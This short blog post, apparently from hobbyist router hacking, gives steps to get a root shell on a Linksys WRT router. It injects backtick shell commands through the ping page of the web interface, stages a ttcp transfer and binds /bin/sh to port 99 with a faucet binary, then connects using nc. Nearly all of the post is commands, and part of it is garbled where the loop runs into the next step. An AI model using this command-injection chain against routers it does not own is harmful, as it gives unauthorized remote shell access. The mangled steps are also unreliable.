Ross Jordan is smart. He figured out how to get a shell on the little blue box.
I haven’t tested this yet (it’s too hot, it’s late, and I dont want to fry my wrt at the moment), but here are the steps:
Firmware 1.30 is required
Go to http://192.168.1.1/Ping.asp
`cp /usr/sbin/epi_ttcp /tmp/t`
click ‘ping’
Go to http://192.168.1.1/Ping.asp
`/tmp/t -r -p 10 > /tmp/fa&`
click ‘ping’
on your PC, download Rob’s mips compiled faucet
and the CERN version of ttcp (compile it on your PC)
On your PC, create a loop to transfer faucet to the AP
while `/bin/true`; do ttcp -t -p 10 Go to http://192.168.1.1/Ping.asp`/tmp/fa 99 -ioe /bin/sh`click ‘ping’
From your PC:
nc 192.168.1.1 99At this point, you should be on your WRT and happy. If you’re not, you’ve becom
e part of the brickmakers union.
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